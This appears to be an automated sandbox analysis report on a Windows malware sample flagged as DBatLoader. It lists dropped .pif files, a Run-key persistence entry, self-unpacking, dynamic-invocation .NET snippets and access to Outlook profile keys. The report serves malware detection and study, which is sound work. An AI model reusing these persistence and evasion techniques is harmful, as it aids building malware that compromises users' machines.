Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: wininet.dll	Jump to behavior

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\Public\Libraries\yihfsboC.pif

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: EPTMAcgvNZ.exe

Static file information: File size 1297920 > 1048576

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: EPTMAcgvNZ.exe, EPTMAcgvNZ.exe, 00000000.00000002.1396601704.0000000020840000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1355304078.0000000002326000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1396601704.00000000207F0000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1252312705.000000007FC90000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000001160000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: _.pdb source: yihfsboC.pif, 0000000E.00000003.1357241369.0000000024219000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2540746609.0000000027061000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2535779078.0000000025D2B000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp, yihfsboC.pif, 00000017.00000003.1465818240.00000000327BE000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2540455156.000000003429B000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2546648768.0000000035951000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2532622056.000000002859B000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2537622019.0000000029911000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000003.1551837223.00000000268CE000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: cmd.pdbUGP source: esentutl.exe, 0000000B.00000003.1343597918.0000000005650000.00000004.00001000.00020000.00000000.sdmp, alpha.pif, 00000010.00000002.1408812461.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000012.00000000.1420522255.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000013.00000002.1534376052.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001B.00000002.1582953816.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001C.00000002.1619637523.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001D.00000002.1624785769.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif.11.dr
Source:	Binary string: ping.pdbGCTL source: esentutl.exe, 0000000F.00000003.1355379307.0000000005960000.00000004.00001000.00020000.00000000.sdmp, xpha.pif, 00000014.00000002.1533195513.0000000000381000.00000020.00000001.01000000.0000000B.sdmp, xpha.pif.15.dr
Source:	Binary string: easinvoker.pdbH source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdbGCTL source: EPTMAcgvNZ.exe, 00000000.00000002.1396601704.0000000020840000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1347686581.00000000217CE000.00000004.00000020.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1347686581.000000002179D000.00000004.00000020.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1355304078.0000000002326000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1396601704.00000000207F0000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1252312705.000000007FC90000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000001160000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: cmd.pdb source: alpha.pif, alpha.pif, 00000013.00000002.1534376052.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001B.00000002.1582953816.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001C.00000002.1619637523.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001D.00000002.1624785769.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif.11.dr
Source:	Binary string: ping.pdb source: esentutl.exe, 0000000F.00000003.1355379307.0000000005960000.00000004.00001000.00020000.00000000.sdmp, xpha.pif, xpha.pif, 00000014.00000002.1533195513.0000000000381000.00000020.00000001.01000000.0000000B.sdmp, xpha.pif.15.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\Public\Libraries\yihfsboC.pif	Unpacked PE file: 14.2.yihfsboC.pif.400000.5.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\Public\Libraries\yihfsboC.pif	Unpacked PE file: 23.2.yihfsboC.pif.400000.1.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\Public\Libraries\yihfsboC.pif	Unpacked PE file: 26.2.yihfsboC.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\Public\Libraries\yihfsboC.pif	Unpacked PE file: 14.2.yihfsboC.pif.400000.5.unpack
Source: C:\Users\Public\Libraries\yihfsboC.pif	Unpacked PE file: 23.2.yihfsboC.pif.400000.1.unpack
Source: C:\Users\Public\Libraries\yihfsboC.pif	Unpacked PE file: 26.2.yihfsboC.pif.400000.0.unpack

Yara detected DBatLoader

Source: Yara match	File source: 0.2.EPTMAcgvNZ.exe.2b10000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.EPTMAcgvNZ.exe.23265a8.1.unpack, type: UNPACKEDPE

.NET source code contains method to dynamically call methods (often used by packers)

Source: 14.2.yihfsboC.pif.27066478.12.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 14.2.yihfsboC.pif.285a0f08.13.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 14.2.yihfsboC.pif.25d6c896.9.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 14.2.yihfsboC.pif.28be0000.15.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 14.3.yihfsboC.pif.24219998.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 14.2.yihfsboC.pif.2709e790.10.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

Source: yihfsboC.pif.0.dr

Static PE information: 0x9E9038DB [Sun Apr 19 22:51:07 2054 UTC]

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe

Code function: 0_2_02B2894C LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_02B2894C

Source: alpha.pif.11.dr

Static PE information: section name: .didat

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B3D2FC push 02B3D367h; ret	0_2_02B3D35F
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B163B0 push 02B1640Bh; ret	0_2_02B16403
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B163AE push 02B1640Bh; ret	0_2_02B16403
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B1332C push eax; ret	0_2_02B13368
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B3C378 push 02B3C56Eh; ret	0_2_02B3C566
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B1C349 push 8B02B1C1h; ret	0_2_02B1C34E
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B3D0AC push 02B3D125h; ret	0_2_02B3D11D
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B2306B push 02B230B9h; ret	0_2_02B230B1
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B2306C push 02B230B9h; ret	0_2_02B230B1
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B3D1F8 push 02B3D288h; ret	0_2_02B3D280
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B2F108 push ecx; mov dword ptr [esp], edx	0_2_02B2F10D
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B3D144 push 02B3D1ECh; ret	0_2_02B3D1E4
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B16782 push 02B167C6h; ret	0_2_02B167BE
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B16784 push 02B167C6h; ret	0_2_02B167BE
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B1D5A0 push 02B1D5CCh; ret	0_2_02B1D5C4
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B3C570 push 02B3C56Eh; ret	0_2_02B3C566
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B1C56C push ecx; mov dword ptr [esp], edx	0_2_02B1C571
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B2AAE0 push 02B2AB18h; ret	0_2_02B2AB10
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B28AD8 push 02B28B10h; ret	0_2_02B28B08
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B2AADF push 02B2AB18h; ret	0_2_02B2AB10
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B84A50 push eax; ret	0_2_02B84B20
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B1CBEC push 02B1CD72h; ret	0_2_02B1CD6A
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B2886C push 02B288AEh; ret	0_2_02B288A6
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B1C98E push 02B1CD72h; ret	0_2_02B1CD6A
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B2790C push 02B27989h; ret	0_2_02B27981
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B26946 push 02B269F3h; ret	0_2_02B269EB
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B26948 push 02B269F3h; ret	0_2_02B269EB
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B25E7C push ecx; mov dword ptr [esp], edx	0_2_02B25E7E
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B22F60 push 02B22FD6h; ret	0_2_02B22FCE
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_0041C40C push cs; iretd	14_2_0041C4E2
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_00423149 push eax; ret	14_2_00423179

Source: 14.2.yihfsboC.pif.27066478.12.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'B2O7fKYFnJNBC', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 14.2.yihfsboC.pif.285a0f08.13.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'B2O7fKYFnJNBC', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 14.2.yihfsboC.pif.25d6c896.9.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'B2O7fKYFnJNBC', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 14.2.yihfsboC.pif.28be0000.15.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'B2O7fKYFnJNBC', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 14.3.yihfsboC.pif.24219998.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'B2O7fKYFnJNBC', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 14.2.yihfsboC.pif.2709e790.10.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'B2O7fKYFnJNBC', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	File created: C:\Users\Public\Libraries\yihfsboC.pif	Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\alpha.pif	Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\Libraries\Cobsfhiy.PIF	Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\xpha.pif	Jump to dropped file

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	File created: C:\Users\Public\Libraries\yihfsboC.pif	Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\alpha.pif	Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\Libraries\Cobsfhiy.PIF	Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\xpha.pif	Jump to dropped file

Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\alpha.pif			Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\xpha.pif			Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\alpha.pif			Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\xpha.pif			Jump to dropped file

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Cobsfhiy			Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Cobsfhiy			Jump to behavior

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe

Code function: 0_2_02B2AB1C GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_02B2AB1C

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
